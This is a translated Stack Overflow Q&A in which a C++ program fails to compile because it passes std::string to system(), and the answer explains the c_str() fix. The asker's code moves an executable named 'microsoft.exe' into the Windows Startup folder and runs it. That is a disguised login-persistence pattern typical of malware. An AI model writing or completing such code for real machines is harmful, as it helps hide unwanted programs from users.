作者热门文章
- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我收到错误 E2285 没有找到“system(string)”的匹配项请帮我。代码在下面我不明白为什么它不起作用,因为这通常适用于 cout<<
#include <stdio.h> /* defines FILENAME_MAX */
using namespace std;
#define WINDOWS /* uncomment this line to use it for windows.*/
#include <direct.h>
#define GetCurrentDir _getcwd
#include <iostream>
string GetCurrentWorkingDir( void ) {
char buff[FILENAME_MAX];
GetCurrentDir( buff, FILENAME_MAX );
std::string current_working_dir(buff);
return current_working_dir;
}
int main(){
string dir;
dir = GetCurrentWorkingDir();
system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.html");
system("cd\\");
system("cd microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.exe");
return 1;
}
最佳答案
std::system
需要 const char*
不是std::string
,从 warnings 中可以明显看出.
system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup")
这里求和的结果是std::string
.将论点收集到一个单一的std::string
, 然后使用 std::string::c_str
调用方法 std::system
.
auto arg = "move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup";
std::system(arg.c_str());
除此之外,你还有很多错误,比如你没有包含 <string>
header ,你返回 1
来自 main
而不是 0
. You use using namespace std;
,您使用标准 header 的 C 版本( <stdio.h>
而不是 <cstdio>
),您从未包含 <cstdlib>
它定义了 std::system
等等。
关于c++ - 如何修复 "NO match found for ' 系统(字符串),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/56541554/
我是一名优秀的程序员,十分优秀!